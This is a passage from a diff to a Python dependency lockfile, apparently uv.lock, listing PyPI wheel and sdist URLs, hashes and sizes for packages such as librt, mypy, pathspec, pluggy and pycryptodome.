"sha256:d05acd46b9a52087bfc50c59dfdf96a2c480a601e8898a44821c7fd676598f74", size = 189607, upload-time = "2025-12-15T16:51:52.671Z" }, + { url = "https://files.pythonhosted.org/packages/32/48/1b47c7d5d28b775941e739ed2bfe564b091c49201b9503514d69e4ed96d7/librt-0.7.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:70969229cb23d9c1a80e14225838d56e464dc71fa34c8342c954fc50e7516dee", size = 184585, upload-time = "2025-12-15T16:51:54.027Z" }, + { url = "https://files.pythonhosted.org/packages/75/a6/ee135dfb5d3b54d5d9001dbe483806229c6beac3ee2ba1092582b7efeb1b/librt-0.7.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4450c354b89dbb266730893862dbff06006c9ed5b06b6016d529b2bf644fc681", size = 178249, upload-time = "2025-12-15T16:51:55.248Z" }, + { url = "https://files.pythonhosted.org/packages/04/87/d5b84ec997338be26af982bcd6679be0c1db9a32faadab1cf4bb24f9e992/librt-0.7.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:adefe0d48ad35b90b6f361f6ff5a1bd95af80c17d18619c093c60a20e7a5b60c", size = 199851, upload-time = "2025-12-15T16:51:56.933Z" }, + { url = "https://files.pythonhosted.org/packages/86/63/ba1333bf48306fe398e3392a7427ce527f81b0b79d0d91618c4610ce9d15/librt-0.7.4-cp313-cp313-win32.whl", hash = "sha256:21ea710e96c1e050635700695095962a22ea420d4b3755a25e4909f2172b4ff2", size = 43249, upload-time = "2025-12-15T16:51:58.498Z" }, + { url = "https://files.pythonhosted.org/packages/f9/8a/de2c6df06cdfa9308c080e6b060fe192790b6a48a47320b215e860f0e98c/librt-0.7.4-cp313-cp313-win_amd64.whl", hash = "sha256:772e18696cf5a64afee908662fbcb1f907460ddc851336ee3a848ef7684c8e1e", size = 49417, upload-time = "2025-12-15T16:51:59.618Z" }, + { url = "https://files.pythonhosted.org/packages/31/66/8ee0949efc389691381ed686185e43536c20e7ad880c122dd1f31e65c658/librt-0.7.4-cp313-cp313-win_arm64.whl", hash = "sha256:52e34c6af84e12921748c8354aa6acf1912ca98ba60cdaa6920e34793f1a0788", size = 42824, upload-time = "2025-12-15T16:52:00.784Z" }, + { url = "https://files.pythonhosted.org/packages/74/81/6921e65c8708eb6636bbf383aa77e6c7dad33a598ed3b50c313306a2da9d/librt-0.7.4-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4f1ee004942eaaed6e06c087d93ebc1c67e9a293e5f6b9b5da558df6bf23dc5d", size = 55191, upload-time = "2025-12-15T16:52:01.97Z" }, + { url = "https://files.pythonhosted.org/packages/0d/d6/3eb864af8a8de8b39cc8dd2e9ded1823979a27795d72c4eea0afa8c26c9f/librt-0.7.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:d854c6dc0f689bad7ed452d2a3ecff58029d80612d336a45b62c35e917f42d23", size = 56898, upload-time = "2025-12-15T16:52:03.356Z" }, + { url = "https://files.pythonhosted.org/packages/49/bc/b1d4c0711fdf79646225d576faee8747b8528a6ec1ceb6accfd89ade7102/librt-0.7.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a4f7339d9e445280f23d63dea842c0c77379c4a47471c538fc8feedab9d8d063", size = 163725, upload-time = "2025-12-15T16:52:04.572Z" }, + { url = "https://files.pythonhosted.org/packages/2c/08/61c41cd8f0a6a41fc99ea78a2205b88187e45ba9800792410ed62f033584/librt-0.7.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39003fc73f925e684f8521b2dbf34f61a5deb8a20a15dcf53e0d823190ce8848", size = 172469, upload-time = "2025-12-15T16:52:05.863Z" }, + { url = "https://files.pythonhosted.org/packages/8b/c7/4ee18b4d57f01444230bc18cf59103aeab8f8c0f45e84e0e540094df1df1/librt-0.7.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6bb15ee29d95875ad697d449fe6071b67f730f15a6961913a2b0205015ca0843", size = 186804, upload-time = "2025-12-15T16:52:07.192Z" }, + { url = "https://files.pythonhosted.org/packages/a1/af/009e8ba3fbf830c936842da048eda1b34b99329f402e49d88fafff6525d1/librt-0.7.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:02a69369862099e37d00765583052a99d6a68af7e19b887e1b78fee0146b755a", size = 181807, upload-time = "2025-12-15T16:52:08.554Z" }, + { url = "https://files.pythonhosted.org/packages/85/26/51ae25f813656a8b117c27a974f25e8c1e90abcd5a791ac685bf5b489a1b/librt-0.7.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ec72342cc4d62f38b25a94e28b9efefce41839aecdecf5e9627473ed04b7be16", size = 175595, upload-time = "2025-12-15T16:52:10.186Z" }, + { url = "https://files.pythonhosted.org/packages/48/93/36d6c71f830305f88996b15c8e017aa8d1e03e2e947b40b55bbf1a34cf24/librt-0.7.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:776dbb9bfa0fc5ce64234b446995d8d9f04badf64f544ca036bd6cff6f0732ce", size = 196504, upload-time = "2025-12-15T16:52:11.472Z" }, + { url = "https://files.pythonhosted.org/packages/08/11/8299e70862bb9d704735bf132c6be09c17b00fbc7cda0429a9df222fdc1b/librt-0.7.4-cp314-cp314-win32.whl", hash = "sha256:0f8cac84196d0ffcadf8469d9ded4d4e3a8b1c666095c2a291e22bf58e1e8a9f", size = 39738, upload-time = "2025-12-15T16:52:12.962Z" }, + { url = "https://files.pythonhosted.org/packages/54/d5/656b0126e4e0f8e2725cd2d2a1ec40f71f37f6f03f135a26b663c0e1a737/librt-0.7.4-cp314-cp314-win_amd64.whl", hash = "sha256:037f5cb6fe5abe23f1dc058054d50e9699fcc90d0677eee4e4f74a8677636a1a", size = 45976, upload-time = "2025-12-15T16:52:14.441Z" }, + { url = "https://files.pythonhosted.org/packages/60/86/465ff07b75c1067da8fa7f02913c4ead096ef106cfac97a977f763783bfb/librt-0.7.4-cp314-cp314-win_arm64.whl", hash = "sha256:a5deebb53d7a4d7e2e758a96befcd8edaaca0633ae71857995a0f16033289e44", size = 39073, upload-time = "2025-12-15T16:52:15.621Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a0/24941f85960774a80d4b3c2aec651d7d980466da8101cae89e8b032a3e21/librt-0.7.4-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:b4c25312c7f4e6ab35ab16211bdf819e6e4eddcba3b2ea632fb51c9a2a97e105", size = 57369, upload-time = "2025-12-15T16:52:16.782Z" }, + { url = "https://files.pythonhosted.org/packages/77/a0/ddb259cae86ab415786c1547d0fe1b40f04a7b089f564fd5c0242a3fafb2/librt-0.7.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:618b7459bb392bdf373f2327e477597fff8f9e6a1878fffc1b711c013d1b0da4", size = 59230, upload-time = "2025-12-15T16:52:18.259Z" }, + { url = "https://files.pythonhosted.org/packages/31/11/77823cb530ab8a0c6fac848ac65b745be446f6f301753b8990e8809080c9/librt-0.7.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1437c3f72a30c7047f16fd3e972ea58b90172c3c6ca309645c1c68984f05526a", size = 183869, upload-time = "2025-12-15T16:52:19.457Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ce/157db3614cf3034b3f702ae5ba4fefda4686f11eea4b7b96542324a7a0e7/librt-0.7.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c96cb76f055b33308f6858b9b594618f1b46e147a4d03a4d7f0c449e304b9b95", size = 194606, upload-time = "2025-12-15T16:52:20.795Z" }, + { url = "https://files.pythonhosted.org/packages/30/ef/6ec4c7e3d6490f69a4fd2803516fa5334a848a4173eac26d8ee6507bff6e/librt-0.7.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28f990e6821204f516d09dc39966ef8b84556ffd648d5926c9a3f681e8de8906", size = 206776, upload-time = "2025-12-15T16:52:22.229Z" }, + { url = "https://files.pythonhosted.org/packages/ad/22/750b37bf549f60a4782ab80e9d1e9c44981374ab79a7ea68670159905918/librt-0.7.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc4aebecc79781a1b77d7d4e7d9fe080385a439e198d993b557b60f9117addaf", size = 203205, upload-time = "2025-12-15T16:52:23.603Z" }, + { url = "https://files.pythonhosted.org/packages/7a/87/2e8a0f584412a93df5faad46c5fa0a6825fdb5eba2ce482074b114877f44/librt-0.7.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:022cc673e69283a42621dd453e2407cf1647e77f8bd857d7ad7499901e62376f", size = 196696, upload-time = "2025-12-15T16:52:24.951Z" }, + { url = "https://files.pythonhosted.org/packages/e5/ca/7bf78fa950e43b564b7de52ceeb477fb211a11f5733227efa1591d05a307/librt-0.7.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2b3ca211ae8ea540569e9c513da052699b7b06928dcda61247cb4f318122bdb5", size = 217191, upload-time = "2025-12-15T16:52:26.194Z" }, + { url = "https://files.pythonhosted.org/packages/d6/49/3732b0e8424ae35ad5c3166d9dd5bcdae43ce98775e0867a716ff5868064/librt-0.7.4-cp314-cp314t-win32.whl", hash = "sha256:8a461f6456981d8c8e971ff5a55f2e34f4e60871e665d2f5fde23ee74dea4eeb", size = 40276, upload-time = "2025-12-15T16:52:27.54Z" }, + { url = "https://files.pythonhosted.org/packages/35/d6/d8823e01bd069934525fddb343189c008b39828a429b473fb20d67d5cd36/librt-0.7.4-cp314-cp314t-win_amd64.whl", hash = "sha256:721a7b125a817d60bf4924e1eec2a7867bfcf64cfc333045de1df7a0629e4481", size = 46772, upload-time = "2025-12-15T16:52:28.653Z" }, + { url = "https://files.pythonhosted.org/packages/36/e9/a0aa60f5322814dd084a89614e9e31139702e342f8459ad8af1984a18168/librt-0.7.4-cp314-cp314t-win_arm64.whl", hash = "sha256:76b2ba71265c0102d11458879b4d53ccd0b32b0164d14deb8d2b598a018e502f", size = 39724, upload-time = "2025-12-15T16:52:29.836Z" }, +] + +[[package]] +name = "mypy" +version = "1.19.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "librt", marker = "platform_python_implementation != 'PyPy'" }, + { name = "mypy-extensions" }, + { name = "pathspec" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/db/4efed9504bc01309ab9c2da7e352cc223569f05478012b5d9ece38fd44d2/mypy-1.19.1.tar.gz", hash = "sha256:19d88bb05303fe63f71dd2c6270daca27cb9401c4ca8255fe50d1d920e0eb9ba", size = 3582404, upload-time = "2025-12-15T05:03:48.42Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2f/63/e499890d8e39b1ff2df4c0c6ce5d371b6844ee22b8250687a99fd2f657a8/mypy-1.19.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5f05aa3d375b385734388e844bc01733bd33c644ab48e9684faa54e5389775ec", size = 13101333, upload-time = "2025-12-15T05:03:03.28Z" }, + { url = "https://files.pythonhosted.org/packages/72/4b/095626fc136fba96effc4fd4a82b41d688ab92124f8c4f7564bffe5cf1b0/mypy-1.19.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:022ea7279374af1a5d78dfcab853fe6a536eebfda4b59deab53cd21f6cd9f00b", size = 12164102, upload-time = "2025-12-15T05:02:33.611Z" }, + { url = "https://files.pythonhosted.org/packages/0c/5b/952928dd081bf88a83a5ccd49aaecfcd18fd0d2710c7ff07b8fb6f7032b9/mypy-1.19.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee4c11e460685c3e0c64a4c5de82ae143622410950d6be863303a1c4ba0e36d6", size = 12765799, upload-time = "2025-12-15T05:03:28.44Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0d/93c2e4a287f74ef11a66fb6d49c7a9f05e47b0a4399040e6719b57f500d2/mypy-1.19.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:de759aafbae8763283b2ee5869c7255391fbc4de3ff171f8f030b5ec48381b74", size = 13522149, upload-time = "2025-12-15T05:02:36.011Z" }, + { url = "https://files.pythonhosted.org/packages/7b/0e/33a294b56aaad2b338d203e3a1d8b453637ac36cb278b45005e0901cf148/mypy-1.19.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ab43590f9cd5108f41aacf9fca31841142c786827a74ab7cc8a2eacb634e09a1", size = 13810105, upload-time = "2025-12-15T05:02:40.327Z" }, + { url = "https://files.pythonhosted.org/packages/0e/fd/3e82603a0cb66b67c5e7abababce6bf1a929ddf67bf445e652684af5c5a0/mypy-1.19.1-cp310-cp310-win_amd64.whl", hash = "sha256:2899753e2f61e571b3971747e302d5f420c3fd09650e1951e99f823bc3089dac", size = 10057200, upload-time = "2025-12-15T05:02:51.012Z" }, + { url = "https://files.pythonhosted.org/packages/ef/47/6b3ebabd5474d9cdc170d1342fbf9dddc1b0ec13ec90bf9004ee6f391c31/mypy-1.19.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d8dfc6ab58ca7dda47d9237349157500468e404b17213d44fc1cb77bce532288", size = 13028539, upload-time = "2025-12-15T05:03:44.129Z" }, + { url = "https://files.pythonhosted.org/packages/5c/a6/ac7c7a88a3c9c54334f53a941b765e6ec6c4ebd65d3fe8cdcfbe0d0fd7db/mypy-1.19.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e3f276d8493c3c97930e354b2595a44a21348b320d859fb4a2b9f66da9ed27ab", size = 12083163, upload-time = "2025-12-15T05:03:37.679Z" }, + { url = "https://files.pythonhosted.org/packages/67/af/3afa9cf880aa4a2c803798ac24f1d11ef72a0c8079689fac5cfd815e2830/mypy-1.19.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2abb24cf3f17864770d18d673c85235ba52456b36a06b6afc1e07c1fdcd3d0e6", size = 12687629, upload-time = "2025-12-15T05:02:31.526Z" }, + { url = "https://files.pythonhosted.org/packages/2d/46/20f8a7114a56484ab268b0ab372461cb3a8f7deed31ea96b83a4e4cfcfca/mypy-1.19.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a009ffa5a621762d0c926a078c2d639104becab69e79538a494bcccb62cc0331", size = 13436933, upload-time = "2025-12-15T05:03:15.606Z" }, + { url = "https://files.pythonhosted.org/packages/5b/f8/33b291ea85050a21f15da910002460f1f445f8007adb29230f0adea279cb/mypy-1.19.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f7cee03c9a2e2ee26ec07479f38ea9c884e301d42c6d43a19d20fb014e3ba925", size = 13661754, upload-time = "2025-12-15T05:02:26.731Z" }, + { url = "https://files.pythonhosted.org/packages/fd/a3/47cbd4e85bec4335a9cd80cf67dbc02be21b5d4c9c23ad6b95d6c5196bac/mypy-1.19.1-cp311-cp311-win_amd64.whl", hash = "sha256:4b84a7a18f41e167f7995200a1d07a4a6810e89d29859df936f1c3923d263042", size = 10055772, upload-time = "2025-12-15T05:03:26.179Z" }, + { url = "https://files.pythonhosted.org/packages/06/8a/19bfae96f6615aa8a0604915512e0289b1fad33d5909bf7244f02935d33a/mypy-1.19.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:a8174a03289288c1f6c46d55cef02379b478bfbc8e358e02047487cad44c6ca1", size = 13206053, upload-time = "2025-12-15T05:03:46.622Z" }, + { url = "https://files.pythonhosted.org/packages/a5/34/3e63879ab041602154ba2a9f99817bb0c85c4df19a23a1443c8986e4d565/mypy-1.19.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffcebe56eb09ff0c0885e750036a095e23793ba6c2e894e7e63f6d89ad51f22e", size = 12219134, upload-time = "2025-12-15T05:03:24.367Z" }, + { url = "https://files.pythonhosted.org/packages/89/cc/2db6f0e95366b630364e09845672dbee0cbf0bbe753a204b29a944967cd9/mypy-1.19.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b64d987153888790bcdb03a6473d321820597ab8dd9243b27a92153c4fa50fd2", size = 12731616, upload-time = "2025-12-15T05:02:44.725Z" }, + { url = "https://files.pythonhosted.org/packages/00/be/dd56c1fd4807bc1eba1cf18b2a850d0de7bacb55e158755eb79f77c41f8e/mypy-1.19.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c35d298c2c4bba75feb2195655dfea8124d855dfd7343bf8b8c055421eaf0cf8", size = 13620847, upload-time = "2025-12-15T05:03:39.633Z" }, + { url = "https://files.pythonhosted.org/packages/6d/42/332951aae42b79329f743bf1da088cd75d8d4d9acc18fbcbd84f26c1af4e/mypy-1.19.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:34c81968774648ab5ac09c29a375fdede03ba253f8f8287847bd480782f73a6a", size = 13834976, upload-time = "2025-12-15T05:03:08.786Z" }, + { url = "https://files.pythonhosted.org/packages/6f/63/e7493e5f90e1e085c562bb06e2eb32cae27c5057b9653348d38b47daaecc/mypy-1.19.1-cp312-cp312-win_amd64.whl", hash = "sha256:b10e7c2cd7870ba4ad9b2d8a6102eb5ffc1f16ca35e3de6bfa390c1113029d13", size = 10118104, upload-time = "2025-12-15T05:03:10.834Z" }, + { url = "https://files.pythonhosted.org/packages/de/9f/a6abae693f7a0c697dbb435aac52e958dc8da44e92e08ba88d2e42326176/mypy-1.19.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e3157c7594ff2ef1634ee058aafc56a82db665c9438fd41b390f3bde1ab12250", size = 13201927, upload-time = "2025-12-15T05:02:29.138Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a4/45c35ccf6e1c65afc23a069f50e2c66f46bd3798cbe0d680c12d12935caa/mypy-1.19.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdb12f69bcc02700c2b47e070238f42cb87f18c0bc1fc4cdb4fb2bc5fd7a3b8b", size = 12206730, upload-time = "2025-12-15T05:03:01.325Z" }, + { url = "https://files.pythonhosted.org/packages/05/bb/cdcf89678e26b187650512620eec8368fded4cfd99cfcb431e4cdfd19dec/mypy-1.19.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f859fb09d9583a985be9a493d5cfc5515b56b08f7447759a0c5deaf68d80506e", size = 12724581, upload-time = "2025-12-15T05:03:20.087Z" }, + { url = "https://files.pythonhosted.org/packages/d1/32/dd260d52babf67bad8e6770f8e1102021877ce0edea106e72df5626bb0ec/mypy-1.19.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9a6538e0415310aad77cb94004ca6482330fece18036b5f360b62c45814c4ef", size = 13616252, upload-time = "2025-12-15T05:02:49.036Z" }, + { url = "https://files.pythonhosted.org/packages/71/d0/5e60a9d2e3bd48432ae2b454b7ef2b62a960ab51292b1eda2a95edd78198/mypy-1.19.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:da4869fc5e7f62a88f3fe0b5c919d1d9f7ea3cef92d3689de2823fd27e40aa75", size = 13840848, upload-time = "2025-12-15T05:02:55.95Z" }, + { url = "https://files.pythonhosted.org/packages/98/76/d32051fa65ecf6cc8c6610956473abdc9b4c43301107476ac03559507843/mypy-1.19.1-cp313-cp313-win_amd64.whl", hash = "sha256:016f2246209095e8eda7538944daa1d60e1e8134d98983b9fc1e92c1fc0cb8dd", size = 10135510, upload-time = "2025-12-15T05:02:58.438Z" }, + { url = "https://files.pythonhosted.org/packages/de/eb/b83e75f4c820c4247a58580ef86fcd35165028f191e7e1ba57128c52782d/mypy-1.19.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06e6170bd5836770e8104c8fdd58e5e725cfeb309f0a6c681a811f557e97eac1", size = 13199744, upload-time = "2025-12-15T05:03:30.823Z" }, + { url = "https://files.pythonhosted.org/packages/94/28/52785ab7bfa165f87fcbb61547a93f98bb20e7f82f90f165a1f69bce7b3d/mypy-1.19.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:804bd67b8054a85447c8954215a906d6eff9cabeabe493fb6334b24f4bfff718", size = 12215815, upload-time = "2025-12-15T05:02:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/0a/c6/bdd60774a0dbfb05122e3e925f2e9e846c009e479dcec4821dad881f5b52/mypy-1.19.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21761006a7f497cb0d4de3d8ef4ca70532256688b0523eee02baf9eec895e27b", size = 12740047, upload-time = "2025-12-15T05:03:33.168Z" }, + { url = "https://files.pythonhosted.org/packages/32/2a/66ba933fe6c76bd40d1fe916a83f04fed253152f451a877520b3c4a5e41e/mypy-1.19.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28902ee51f12e0f19e1e16fbe2f8f06b6637f482c459dd393efddd0ec7f82045", size = 13601998, upload-time = "2025-12-15T05:03:13.056Z" }, + { url = "https://files.pythonhosted.org/packages/e3/da/5055c63e377c5c2418760411fd6a63ee2b96cf95397259038756c042574f/mypy-1.19.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:481daf36a4c443332e2ae9c137dfee878fcea781a2e3f895d54bd3002a900957", size = 13807476, upload-time = "2025-12-15T05:03:17.977Z" }, + { url = "https://files.pythonhosted.org/packages/cd/09/4ebd873390a063176f06b0dbf1f7783dd87bd120eae7727fa4ae4179b685/mypy-1.19.1-cp314-cp314-win_amd64.whl", hash = "sha256:8bb5c6f6d043655e055be9b542aa5f3bdd30e4f3589163e85f93f3640060509f", size = 10281872, upload-time = "2025-12-15T05:03:05.549Z" }, + { url = "https://files.pythonhosted.org/packages/8d/f4/4ce9a05ce5ded1de3ec1c1d96cf9f9504a04e54ce0ed55cfa38619a32b8d/mypy-1.19.1-py3-none-any.whl", hash = "sha256:f1235f5ea01b7db5468d53ece6aaddf1ad0b88d9e7462b86ef96fe04995d7247", size = 2471239, upload-time = "2025-12-15T05:03:07.248Z" }, +] + +[[package]] +name = "mypy-extensions" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pathspec" +version = "0.12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ca/bc/f35b8446f4531a7cb215605d100cd88b7ac6f44ab3fc94870c120ab3adbf/pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712", size = 51043, upload-time = "2023-12-10T22:30:45Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cc/20/ff623b09d963f88bfde16306a54e12ee5ea43e9b597108672ff3a408aad6/pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", size = 31191, upload-time = "2023-12-10T22:30:43.14Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/86/0248f086a84f01b37aaec0fa567b397df1a119f73c16f6c7a9aac73ea309/platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda", size = 21715, upload-time = "2025-12-05T13:52:58.638Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/28/3bfe2fa5a7b9c46fe7e13c97bda14c895fb10fa2ebf1d0abb90e0cea7ee1/platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31", size = 18731, upload-time = "2025-12-05T13:52:56.823Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, + { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, + { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = 